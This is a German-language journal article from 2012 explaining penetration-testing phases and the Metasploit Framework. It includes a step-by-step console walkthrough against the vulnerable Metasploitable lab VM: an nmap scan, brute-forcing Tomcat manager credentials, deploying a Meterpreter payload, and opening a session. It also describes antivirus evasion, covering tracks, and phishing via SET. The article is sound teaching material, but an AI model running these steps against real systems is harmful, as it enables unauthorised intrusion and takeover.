Magdeburger Journal zur Sicherheitsforschung

Gegründet 2011 | ISSN: 2192-4260
Herausgegeben von Stefan Schumacher und Jan W. Meine
Meine Verlag – Wissenschafts-, Sach- und Fachbuchverlag, Magdeburg

Dieser Artikel erscheint in der Serie „Informationstechnologie und Sicherheitspolitik. Wird der dritte Weltkrieg im Internet ausgetragen?“ Herausgegeben von Jörg Sambleben und Stefan Schumacher

Penetrationstests mit Metasploit

Michael Kohl

Jede aus dem Internet erreichbare Maschine sieht sich früher oder später Angriffen ausgesetzt. Dies gilt als unvermeidbare Tatsache, was aber nicht bedeuetet, dass man sich für solche Eventualitäten nicht rüsten kann. Möglich ist dies beispielsweise mittels so genannter »Penetrationstests«, wobei verschiedene Werkzeuge wie beispielsweise das hier besprochene »Metasploit Framework« zum Einsatz kommen.

Zitationsvorschlag: Kohl, M. (2012). Penetrationstests mit Metasploit. *Magdeburger Journal zur Sicherheitsforschung*, 2, 222–235. Zugriff am 20. November 2012, unter http://www.sicherheitsforschung-magdeburg.de/journal_sicherheitsforschung.html

Kontext: Penetrationstests

Bevor wir uns eingehend mit dem Metasploit-Projekt[1] befassen, ist es wichtig dieses zuerst im Kontext der Computersicherheit einzuordnen. Beim bekanntesten Teilprojekt, dem Metasploit Framework[2], handelt es sich um eine Sammlung von Werkzeugen und Programmbibliotheken zur Erstellung und Anwendung so genannter »Exploits«, also Schadsoftware welche Schwachstellen oder Fehlfunktionen anderer System für eigene Zwecke ausnutzt. Im professionellen IT-Sicherheitskontext kommt es daher unter anderem in der Forschung, also bei der Entwicklung neuer Exploits, sowie bei Penetrationstests zum Einsatz.

Penetrationstests allgemein

Unter einem Penetrationstest (engl. »penetration test«, oftmals kurz »pentest«) versteht man eine eingehende Sicherheitsüberprüfung eines oder mehrerer Computersysteme beziehungsweise -netzwerke. Im Normalfall wird ein solcher von einem externen Unternehmen durchgeführt, wobei diesem je nach Art des gewüschten Tests unterschiedlich viele Informationen zur Verfügung gestellt werden. So ist es beispielsweise nicht unüblich Tests initial ohne jegliches Vorwissen durchzuführen (ein so genannter »Blackbox-Test«), um eine Attacke aus dem Internet zu simulieren. Danach bekommen die »Angreifer« im Rahmen des »Whitebox-Tests« Benutzerdaten oder zusätzliche Informationen zur Verfügung gestellt um die Anwendung oder das Netzwerk einer eingehenderen Überprüfung zu unterziehen. Auch physische Zugriffskontrollen wie beispielsweise Zugang zu Serverräumen spielen in diesem Zusammenhang eine Rolle.

Ziele von Penetrationstests

Die Ziele eines Penetrationstests sind breit gefächert. Einerseits geht es darum Schwachstellen auf technischer Ebene zu identifizieren, sei es durch veraltete oder fehlerhafte Software, oder Konfigurations- und Bedienfehler.

Andererseits geht es aber auch um die Erhöhung der Sicherheit auf gesamtorganisatorischer Ebene, beispielsweise durch Überprüfung vorhandener Richtlinien und einer Abschätzung des generellen Sicherheitsbewusstseins im Unternehmen (physischer Zugang, Passwörter auf Notizzetteln).

Wichtig bei einem solchen Test ist die externe Validierung der Sicherheit, da dadurch »Betriebsblindheit« vermieden werden kann. Dennoch darf man dabei nicht aus den Augen verlieren, dass es letztendlich keine Garantie für Sicherheit gibt, auch ein Penetrationstest stellt lediglich eine Momentaufnahme der aktuellen Sicherheitslage dar, weswegen regelmässig durchgeführte Überprüfungen unerlässlich — und in manchen Branchen sogar vorgeschrieben — sind.

Phasen eines Penetrationstests

Nachdem es lange Zeit keine klar definierten Abläufe für Penetrationstests gab, gibt es mittlerweile Bemühungen diese im »Pe-

1 http://www.metasploit.com/

2 Quellcode (grossteils in Ruby): https://github.com/rapid7/metasploit-framework/

netration Testing Execution Standard«[1] festzulegen. Dieser definiert sieben Phasen, auf die hier kurz eingegangen werden soll.

Pre-Engagement

Bevor eine Sicherheitsüberprüfung beginnen kann, ist es in der ersten Phase wichtig, sämtliche Rahmenbedingungen möglichst genau abzustecken. Dies beginnt bei der Zieldefinition, also der Beschreibung was (z.B. Netzwerk, Applikationen, WLAN, physischer Zugang, Social Engineering) getestet wird und warum. Handelt es sich lediglich um eine routinemässige Sicherheitsüberprüfung oder müssen gewisse Richtlinien für eine Zertifizierung erfüllt werden?

Darüber hinaus muss definiert werden ob der Penetrationstest offen oder verdeckt (engl. »overt« oder »covert«) durchgeführt wird, also ob die Mitarbeiter des Kunden vorab informiert werden. Ein verdeckter Test bietet den Vorteil die Reaktion der eigenen IT-Mannschaft testen zu können, hat allerdings den Nachteil das es im Fall von Problemen länger dauern kann diese zu beheben.

Auch zeitliche Limitierungen müssen im Pre-Engagement zur Sprache gebracht werden. So könnte es beispielsweise unerwünscht sein die Stabilität einer wichtigen Anwendung während der Kernarbeitszeit zu gefährden.

Ferner müssen Kommunikationswege zwischen Kunde und Tester vereinbart werden, um im Fall der Fälle einen Test abbrechen zu lassen oder den verantwortlichen Systemadminstrator über unvorhergesehene Probleme informieren zu können.

Intelligence Gathering

In dieser Phase geht es darum möglichst viel über das Ziel des Angriffs herauszufinden. Dabei kommen sowohl technische Mittel wie Fingerprinting[2] oder Portscans zum Einsatz, es wird aber auch auf andere Quellen wie soziale Netzwerke, Zeitungsartikel, Telefonanrufe unter falschem Vorwand und ähnliches zurück gegriffen.

Threat Modeling

Nachdem möglichst vielfältige Informationen gesammelt wurden, geht es in diesem Schritt darum vielversprechende Angriffsvektoren zu identifizieren. Dabei ist es aus Sicht des Pentesters wichtig sich in die Rolle eines echten Angreifers zu versetzen. Was will ich mit dieser Attacke erreichen? Womit kann ich dem Unternehmen den grösstmöglichen Schaden zufügen? Welche Geschäftsprozesse möchte ich stören? Gab es bekannte Angriffe auf ähnliche Unternehmen aus denen man lernen kann?

Vulnerability Analysis

Nachdem entsprechende Angriffsvektoren identifiziert wurden, werden diese einer eingehenden Sicherheitsüberprüfung unterzogen. Dies geschieht beispielsweise mittels so genannter Port- und Servicescans, also automatischer Tests die Auskunft über die auf einem System laufende Software ge-

1 http://www.pentest-standard.org/

2 Vereinfacht gesagt das Identifizieren von Programmen oder Betriebssystem aufgrund ihres Netzwerkverhaltens.

ben. Besonders interessant sind dabei die genauen Versionsnummern der eingesetzten Programme, da es unter Umständen schon öffentlich verfügbare Exploits für deren Schwachstellen gibt.

Exploitation

Hierbei handelt es sich sicherlich um die »spektakulärste« Phase eines Penetrationstests, werden hier doch alle technischen Möglichkeiten ausgereitzt um gefundene Schwachstellen für den eigenen Vorteil auszunutzen. Von Bruteforce-Attacken, also dem »Ausprobieren« vieler Passwörter um so vielleicht eines zu erraten, über SQL-Injections[1] und Buffer Overflows[2] ist hier alles anzutreffen. Was in dieser Phase passiert entspricht der landläufigen Definition des »hackens«, auch wenn dieser Begriff innerhalb der Szene oftmals anders verwendet wird[3].

Post Exploitation

Sobald ein System erfolgreich attackiert wurde, befindet man sich in der so genannten »post exploitation« Phase. Hierbei sind nicht nur die Daten auf dem kompromittierten System selbst von Interesse, sondern auch potentielle weitere Systeme die von diesem aus erreicht werden können. So wäre es nach der Übernahme eines Webservers beispielsweise möglich Zugriff auf ein Datenbanksystem zu haben welches aus dem Internet nicht erreichbar ist. Durch geschicktes Vorgehen ist es einem Angreifer in dieser Phase oftmals möglich tief in die Infrastruktur seines Ziels einzudringen und sich dort unter Umständen sogar permanent festzusetzen. Ebenfalls zentral in dieser Phase ist das Aufräumen respektive Verschleiern des erfolgreichen Angriffs um so möglichst viel Zeit für weitere Aktionen zu gewinnen.

Reporting

Den wichtigsten Teil eines Penetrationstests stellt sicherlich der finale Bericht dar, in welchem dem Kunden genau dargelegt wird welche Schwachstellen wie ausgenutzt werden konnten und welche Auswirkungen das auf das angegriffene Unternehmen haben könnte (beispielsweise Rufschädigung oder finanzieller Schaden). Auch Vorschläge zur Problembehebung (engl. »remediation«) sowie generelle Beobachtungen zu Sicherheitskultur und -bewusstsein des Unternehmens sind Teil eines guten Reports.

Metasploit

Während das Metasploit-Projekt mehrere Komponenten umfasst, konzentrieren wir uns hier auf das »Metasploit Framework« (MSF), welches ein wichtiges Werkzeug für Penetrationstest darstellt[4].

Es handelt sich dabei um ein vollständiges

1 Ausführung eigener Datenbankabfragen die durch ungenügende Überprüfung von Benutzereingaben ermöglicht wird.

2 Ausführung eigenen Programmcodes durch Speichermanagementprobleme.

3 Definition von Eric S. Raymonds: http://catb.org/jargon/html/H/hack.html

4 So gibt es neben dem Framework beispielsweise auch die »Metasploit Community Edition«, eine webbasierte Benutzeroberfläche für Metasploit. Zusätlich gibt es mit »Metasploit Express« und »Metasploit Pro« kommerzielle Angebote mit einigen Erweiterungen.

System, welches sich aus einer interaktiven Umgebung und einer Vielzahl an Modulen zusammensetzt. Begonnen wurde das Projekt im Jahr 2003 von HD Moore[1], damals noch in der Programmiersprache Perl, die später aber durch Ruby abgelöst wurde. Im Jahr 2009 wurde Metasploit von der Firma Rapid7[2] übernommen und wird seither von dieser weiterentwickelt.

Da es sich beim MSF um freie Software handelt, ist der Quellcode sämtlicher Module einsehbar und kann so auch als Vorlage für die Entwicklung eigener Erweiterungen dienen.

Metasploit und Penetrationstests

An dieser Stelle scheint es sinnvoll einen typischen Angriff mit Metasploit zu demonstrieren. Dabei kommt als Angriffsziel »Metasploitable«[3] zum Einsatz, eine vom Metasploit-Projekt bereit gestellte virtuelle Linuxmaschine mit mehreren Sicherheitslücken.

Das Metasploit Framework verfügt über verschiedene Frontends. Während `msfcli` genutzt werden kann um die Funktionalität von Metasploit in eigenen Skripts zu verwenden, handelt es sich bei `msfconsole` um eine interaktive Umgebung. Darüber hinaus gibt es seit Mitte 2010 auch eine grafische Benutzeroberfläche welche mit `msfgui` gestartet werden kann. In diesem Text kommt allerdings ausschliesslich `msfconsole` zum Einsatz, die gezeigten Abläufe lassen sich aber analog auf alternative Benutzeroberfläche übertragen. Bei Zeilen welche mit `$` beginnen handelt es sich um Eingaben in einer Linux-Konsole, während `msf >` Eingaben in Metasploit anzeigt.

Vorarbeiten

Um Daten zwischen verschiedenen Sitzungen speichern zu können, bietet das MSF die Möglichkeit diese in einer Datenbank abzulegen[4]. Bei der ersten Verbindung werden die entsprechenden Tabellen automatisch erstellt, wie die gekürzte Ausgabe in Abb. 1 zeigt.

Intelligence Gathering

Nachdem diese Vorarbeiten erledigt sind, kann mit dem Intelligence Gathering, also dem Sammeln von Informationen zum Angriffsziel, begonnen werden. In diesem Beispiel kommt dafür Nmap[5] (kurz für »Network Mapper«) zum Einsatz um einen Portscan durchzuführen, siehe Abb. 2. Nachdem wir diese Information gerne innerhalb der Metasploit-Konsole verwenden würden, ist es sinnvoll diese als XML zu speichern, Zeile 12 zeigt dies als Beispiel.

Diese XML-Datei kann nun in Metasploit importiert werden, das Kommando `services` gibt danach eine Liste aller bekannten Dienste auf allen bekannten Maschinen aus, siehe Abb. 3.

Vulnerability Analysis

Nachdem es sich bei FTP um ein Klartext-

1 http://digitaloffense.net/

2 http://www.rapid7.com/

3 http://www.offensive-security.com/metasploit-unleashed/Metasploitable

4 Hierfür kann wahlweise Postgres, MySQL oder SQLite eingesetzt werden.

5 http://nmap.org/

```
msf > db_connect user@metasploitable
NOTICE:  CREATE TABLE will create implicit sequence
        "hosts_id_seq" for serial column "hosts.id"
NOTICE:  CREATE TABLE / PRIMARY KEY will create implicit index
    "hosts_pkey" for table "hosts"
NOTICE:  CREATE TABLE will create implicit sequence
    "clients_id_seq" for serial column "clients.id"
NOTICE:  CREATE TABLE / PRIMARY KEY will create implicit index
    "clients_pkey" for table "clients"
NOTICE:  CREATE TABLE will create implicit sequence
        "services_id_seq" for serial column "services.id"
...
```

Abbildung 1: Metasploit legt die ersten Datenbanktabellen an

```
$ sudo nmap -sT -Pn 192.168.178.30

Starting Nmap 6.01 ( http://nmap.org ) at 2012-08-18 10:39 CEST
Nmap scan report for 192.168.178.30
Host is up (0.0026s latency).
Not shown: 988 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
...
sudo nmap -sT -Pn 192.168.178.30 -oX metasploitable.xml
```

Abbildung 2: Portscan mit Nmap

```
msf > db_import metasploitable.xml
[*] Importing 'Nmap XML' data
[*] Import: Parsing with 'Nokogiri v1.5.2'
[*] Importing host 192.168.178.30
[*] Successfully imported /Users/user/metasploitable.xml
msf > services

Services
========

host            port  proto  name          state  info
----            ----  -----  ----          -----  ----
192.168.178.30  21    tcp    ftp           open
192.168.178.30  22    tcp    ssh           open
192.168.178.30  23    tcp    telnet        open
192.168.178.30  25    tcp    smtp          open
192.168.178.30  53    tcp    domain        open
192.168.178.30  80    tcp    http          open
192.168.178.30  139   tcp    netbios-ssn   open
192.168.178.30  445   tcp    microsoft-ds  open
192.168.178.30  3306  tcp    mysql         open
192.168.178.30  5432  tcp    postgresql    open
192.168.178.30  8009  tcp    ajp13         open
192.168.178.30  8180  tcp    unknown       open
```

Abbildung 3: Eine Liste aller bekannten Dienste auf allen bekannten Maschinen

```
msf > setg RHOSTS 192.168.178.30
RHOSTS => 192.168.178.30

msf > use scanner/ftp/anonymous
msf auxiliary(anonymous) > show options

Module options (auxiliary/scanner/ftp/anonymous):

Name     Current Setting      Requ.  Description
----     ---------------      -----  -----------
FTPPASS  mozilla@example.com  no     \n
          The password for the specified username
FTPUSER  anonymous            no     \n
          The username to authenticate as
RHOSTS   192.168.178.30       yes    \n
           The target address range or CIDR identifier
RPORT    21                   yes    \n
          The target port
THREADS  1                    yes    \n
          The number of concurrent threads
msf auxiliary(anonymous) > run

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Abbildung 4: FTP wird untersucht

protokoll handelt, stellt dieses einen interessanten Angriffsvektor dar, siehe Abb. 4. Da kein anonymes FTP-Login möglich war, gilt es eine weitere potentielle Schwachstelle zu finden. Die offenen Ports mit der Nummer 8009 und 8180 deuten auf das Vorhandensein eines Java-Applikationsservers hin, im speziellen Fall Apache Tomcat. Es gibt hierfür einen speziellen Scanner, welcher mittels Brute-Force (also dem Ausprobieren verschiedener Kombinationen von Benutzernamen und Passwörtern) versucht Zugang zum System zu erlangen, siehe Abb. 5. Tatsächlich wurde hier ein schwaches Passwort gefunden, der Benutzer `tomcat` verwendet das Passwort `tomcat`.

Exploitation

Nachdem diese Schwachstelle in vorherigen Phase identifiziert wurde, geht es nun darum diese auszunutzen. Dafür kommt der Exploit namens `tomcat_mgr_deploy` zum Einsatz (Abb. 6), welche die zuvor ermittelten Benutzerdaten verwendet um eine von uns gewählte »Paylaod« (deutsch: Nutzlast, in unserem Fall der Schadcode) auf dem kompromittierten System zu installieren. Dabei entscheiden wir uns für eine in Java geschriebene Version von »Meterpreter«[1], einem äusserst mächtigen Post-Exploitation Tool.

Auch wenn wir hier aus Platzgründen nicht auf alle Details des obigen Auszugs eingehen können, sollte der generelle Ablauf daraus doch relativ klar hervorgehen: nach der Auswahl des Payloads wird der Exploit entsprechend konfiguriert und schlussendlich mittels `exploit -j` im Hintergrund gestartet. Die letzte Zeile der Ausgabe informiert uns darüber, dass eine neue Meterpreter-Sitzung mit der Identifikationsnummer 1 gestartet wurde.

Post Exploitation

Der Angreifer verfügt nun über eine aktive Verbindung zum kompromittierten System, über welche er weitere Kommandos absetzen kann um so vollständige Kontrolle über dieses zu erlangen oder weitere Systeme zu attackieren (Abb. 7).

Hier kam nur das harmlose Kommando `sysinfo` zum Einsatz, welches Informationen zum eingesetzten Betriebssystem, dem Hostnamen etc. ausgibt. Prinzipiell bietet Meterpreter aber eine Vielzahl an weiteren Exploit-Möglichkeiten, wie zum Beispiel »privilege escalations« (die unautorisierte Erlangung höherer Benutzerberechtigungen) oder die Möglichkeit eventuell laufende Antivirenprogramme zu deaktivieren.

Zusammenfassung

Auch wenn es in diesem Rahmen nicht möglich ist auf alle Feinheiten von Metasploit einzugehen, hat dieser Beispielangriff hoffentlich gezeigt welche grosse Hilfe das MSF für einen Pentester darstellen kann. Alle technischen Aspekete eines Penetrationtests werden in einer einheitlichen und einfach zu benutzenden Oberfläche zusammen gefasst, womit dem Tester mehr Zeit für die eigentliche Arbeit, das Identifizieren und Ausnutzen von Schwachstellen, bleibt.

1 Bei »Meterpreter« handelt es sich um eine Konsole, die in der Post Exploitation Phase verwendet werden kann um eigene Kommandos auf dem kompromittierten System abzusetzen.

```
msf > use scanner/http/tomcat_mgr_login
msf auxiliary(tomcat_mgr_login) > set RPORT 8180
msf auxiliary(tomcat_mgr_login) > run
...
[*] 192.168.178.30:8180 TOMCAT_MGR - [15/56] -
    Trying username:'root' with password:'root'
[-] 192.168.178.30:8180 TOMCAT_MGR - [15/56] - /manager/html
    [Apache-Coyote/1.1] [Tomcat Application Manager] failed to
        login as 'root'
[*] 192.168.178.30:8180 TOMCAT_MGR - [16/56] - Trying
        username:'tomcat' with password:'tomcat'
[+] http://192.168.178.30:8180/manager/html [Apache-Coyote/1.1]
        [Tomcat Application Manager] successful login 'tomcat' :
        'tomcat'
...
```

Abbildung 5: Tomcat wird angegriffen

Metasploit Framework Komponenten

Das MSF verfügt über viele Komponenten, auf die hier leider nicht im Detail eingegangen werden kann. Metasploit verfügt aber über eine sehr gute Suchfunktion, welche in `msfconsole` mittels `search` aufgerufen werden kann und nach Name, Platform, Remote-Port, Typ, Autor oder ID in einer von mehreren Vulnerability-Datenbanken suchen kann.

Benutzeroberflächen

Wie bereits kurz erwähnt, verfügt Metasploit über verschiedene Benutzeroberflächen. Während `msfconsole` für interaktives Arbeiten in der Kommandozeile konzipiert wurde, gibt es mit `msfgui` eine grafische Java-Applikation welche die gleiche Funktionalität zur Verfügung stellt. Zusätzlich gibt es mit `msfcli` eine weiteres Werkzeug um entweder gezielt einzelne Exploits zu konfigurieren und zu starten oder um wiederkehrende Aufgaben zu automatisieren. Darüber hinaus findet man in Armitage[1] ein modernes und mächtiges grafisches Werkzeug welches skriptbar ist und die Kollaboration mehrerer Penetrationstester erlaubt.

Kommandozeilentools

Zusätzlich zu den verschiedenen Oberflächen verfügt Metasploit über eine Reihe von Kommandozeilentools für spezielle Aufgaben. So gibt es beispielsweise `msfbinscan` zum Durchsuchen von Binardateien nach gewissen Instruktionen, was vor allem bei der Exploitentwicklung hilfreich ist. Bei `msfvenom` hingegen handelt es sich um ein Werkzeug zum Erstellen von Payloads. Weiters können diese auch vor der Erkennung durch Virenscanner durch Encodieren geschützt werden. Einige ältere Tools wie `msfelfscan` oder `msfpayload` sollen von den zuvor ge-

1 http://www.fastandeasyhacking.com/

```
msf  auxiliary(tomcat_mgr_login) > use exploit/multi/ \n
     http/tomcat_mgr_deploy
msf exploit(tomcat_mgr_deploy) > set USERNAME tomcat
USERNAME => tomcat
msf exploit(tomcat_mgr_deploy) > set PASSWORD tomcat
PASSWORD => tomcat
msf exploit(tomcat_mgr_deploy) > set RHOST 192.168.178.30
RHOST => 192.168.178.30
msf  exploit(tomcat_mgr_deploy) > show payloads Compatible
     Payloads

Compatible Payloads
===================

Name                       [...] Rank    Description
----                             ----    -----------
generic/custom                   normal  Custom Payload
generic/shell_bind_tcp           normal  Generic Command Shell,  \n
                                         Bind TCP Inline
generic/shell_reverse_tcp        normal  Generic Command Shell, \n
                                         Reverse TCP Inline
java/meterpreter/bind_tcp        normal  Java Meterpreter, \n
                                         Java Bind TCP stager
java/meterpreter/reverse_http    normal  Java Meterpreter, \n
                                         Java Reverse HTTP Stager

msf  exploit(tomcat_mgr_deploy) > set PAYLOAD \n
                        java/meterpreter/bind_tcp
PAYLOAD => java/meterpreter/bind_tcp
msf  exploit(tomcat_mgr_deploy) > set RPORT 8180
RPORT => 8180
msf  exploit(tomcat_mgr_deploy) > exploit -j
[*] Exploit running as background job.

[*] Started bind handler
[*] Attempting to automatically select a target...
msf  exploit(tomcat_mgr_deploy) > [*] Automatically selected
      target "Linux x86"
[*] Uploading 6241 bytes as b0XdA45Y441ZzL.war ...
[*] Executing /b0XdA45Y441ZzL/zBnkt.jsp...
[*] Undeploying b0XdA45Y441ZzL ...
[*] Sending stage (29909 bytes) to 192.168.178.30
[*] Meterpreter session 1 opened (192.168.178.25:55997 ->
192.168.178.30:4444) at 2012-08-18 10:53:21 +0200
```

Abbildung 6: Tomcat wird exploitet

```
msf  exploit(tomcat_mgr_deploy) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer    : metasploitable
OS          : Linux 2.6.24-16-server (i386)
Meterpreter : java/java
```

Abbildung 7: Sysinfor zeigt Informationan zum Opfer-System an

nannten ersetzt werden und werden wohl über kurz oder lang aus der Distribution verschwinden. Sowohl die grafischen Oberflächen als auch die Kommandozeilenprogramme finden sich im Unterverzeichnis `libexec` der Metalab-Installation.

Module

Im Unterverzeichnis `modules` hingegen finden sich die verschiedenen Module des Frameworks, welche in mehreren Überkategorien organisiert sind.

- `auxiliary`
  In dieser Kategorie findet sich eine Vielzahl an Modulen mit verschiedensten Aufgaben. Von Scannern welche zur Auffindung von Schwachstellen dienen, über Werkzeuge zum Informationssammlen, durchführen so genannter »Denial of Service« Attacken[1] oder Fuzzing[2] bis hin zu SQL-Injections ist hier alles zu finden.
- `encoders`
  Metasploit verfügt über mehrere Module zum Encodieren der eigentlichen Exploits um diese vor der Erkennung durch Antiviren- oder andere Sicherheitssoftware zu schützen.
- `exploits`
  Diese Module beinhalten die eigentliche Schadsoftware die das Kompromittieren der angegriffenen Systeme erlaubt. Da diese normalerweise sehr spezifisch sind, gibt es eine weitere Unterteilung nach Betriebssystem.
- `nops`
  Bei einem »NOP« (kurz für »no operation«) handelt es sich um eine Anweisung die dem Prozessor mitteilt nichts zu tun. Dies kommt beispielsweise bei Zeitsynchronisation zum Einsatz, findet in Form so genannter »Nop Slides« aber auch in der Exploit-Entwicklung Anwendung um so eigenen Programmcode ausführen zu können[3].
- `payloads`
  Der englische Begriff »Payload« wird gemeinhin als Nutzlast übersetzt. In der Datenverarbeitung versteht man darunter jenen Teil der übertragenen Daten der Grund für die Übertragung

1 Versuch die Verfügbarkeit eines Systems zu reduzieren, oftmals durch Überlastung.

2 Zufällige Daten werden generiert und an eine Applikation geschickt um zu testen wie diese mit ungültigen Eingabewerten umgeht.

3 http://en.wikipedia.org/wiki/NOP_slide bietet eine guten Überblick.

war. Im Kontext der IT Sicherheit noch spezifischer jenen Teil einer Schadsoftware welcher die schädliche Aktion ausführt. Metasploit verfügt über eine Vielzahl von Payloads für verschiedene Betriebssysteme, wobei der vorher bereits kurz besprochene »Meterpreter« eine wichtige Rolle einnimmt um von einem kompromittierten System aus weitere Angriffe zu starten.

- `post`
  Module aus der Kategorie »post« kommen in der Post-Exploitation Phase zum Einsatz. Hier finden sich sowohl Werkzeuge zur Informationssammlung, als auch für weitere Attacken auf das kompromittierte oder weitere Systeme (Privilege Escalations, Keylogger).

Exkurs: Social Engineering und Social Engineering Toolkit

Einen oft vernachlässigten Punkt bei Sicherheitsüberprüfungen stellt das so genannte »Social Engineering«[1] dar. Darunter versteht man verschiedene nicht-technische Angriffe, die vorwiegend auf der Ebene zwischenmenschlicher Beeinflussung ablaufen, wobei sich die Angreifer verschiedener pyschologischer und sozialwissenschaftlicher Erkenntnisse bedienen.

Klassische Social Engineering Attacken sind beispielsweise fingierte Telefonanrufe, bei denen der Angreifer sich als Technicker ausgibt um so an die Zugangsdaten unbedarfter Mitarbeiter zu gelangen. Aber auch das Erschleichen von Zutritt zu sensiblem Bereichen unter einem Vorwand (z.B. Verkleidung als Reinigungspersonal oder Haustechniker) fällt in diese Kategorie.

Die bekannteste technische Ausprägung des Social Engineering stellen zweifelsohne so genannte »Phishing Mails« dar, bei der geschickt manipulierte Nachrichten versuchen den Empfänger auf eine manipulierte Webseite zu locken, welche einer vertrauenswürdigen Seite bis ins kleinste Detail ähnelt und sich oft nur anhand der Adresse unterscheiden lässt (z.B. `ww.wexample.com` anstelle von `www.example.com`). Falls die Täuschung gelingt und der Benutzer sich auf der gefälschten Seite anmeldet, fallen seine Benutzerdaten dem Angreifer in die Hände. Oftmals wird zusätzlich auch noch versucht Browserschwachstellen durch entsprechende Malware anzugreifen und so das System des Opfers zu infizieren.

Auch Metasploit verfügt mit dem »Social Engineer Toolkit«[2] (SET) über ein mächtiges Werkzeug zur Durchführung raffinierter SE-Attacken. So erlaubt es das Tool zum Beispiel auf einfache Art und Weise ganze Webseiten zu klonen und einen entsprechenden Link an zuvor gesammelte Email-Adressen zu versenden. Dies ist nur eine von vielen Möglichkeiten mit der Metasploit Penetrationstestern auch in diesem Bereich unter die Arme greift.

Zusammenfassung

Penetrationstests erfüllen eine wichtige Aufgabe: jedes exponierte System sieht sich einer Vielzahl von Angriffen ausgesetzt, weshalb eine regelmässige externe Sicherheitsüberprüfung bei der Entdeckung und

1 http://www.social-engineer.org/

2 http://www.social-engineer.org/framework/Computer_Based_Social_Engineering_Tools:_Social_Engineer_Toolkit_(SET)

Behebung von Problemen helfen kann bevor diese von einem tatsächlichen Angreifer ausgenutzt werden können.

Das Metasploit Framework ist dabei ein mächtiges Werkzeug, welches den geübten Pentester bei verschiedenen Phasen des Tests unterstützt und es ihm so erlaubt sich auf die wesentlichen Aspekte seiner Arbeit zu konzentrieren. Vom Sammeln von Informationen, über das gezielte Finden von Schwachstellen bis hin zu Exploitation und darüber hinaus werden weite Bereiche einer Sicherheitsüberprüfung abgedeckt. Weiters ermöglicht das Social Engineer Toolkit auch eine Überprüfung des kritischen Angriffsvektors auf sozialer Ebene.

Abgerundet wird das Ganze von exzellenten Integrationsmöglichkeiten[1] mit diverser anderer Sicherheitssoftware, womit Metasploit zu einer zentralen Komponente im Repertoire eines Pentesters wird.

Interessierte finden mit dem gratis verfügbaren Tutorial »Metasploit Unleashed«[2] einen sehr guten Einstieg in die Materie, wer lieber ein physisches Buch in Händen hält dem sei »Metasploit — The Penetration Tester's Guide«[3] von No Starch Press ans Herz gelegt.

Über den Autor

Michael Kohl ist zur Zeit als Softwareentwickler im Security-Umfeld tätig. Er interessiert sich schon seit längerem für Themen rund um Sicherheit im weitesten Sinn und hat dabei besonderen Gefallen an Metasploit und Social Engineering gefunden.

1 http://www.rapid7.com/products/metasploit/technology/integrations.jsp

2 http://www.offensive-security.com/metasploit-unleashed/Main_Page

3 http://nostarch.com/metasploit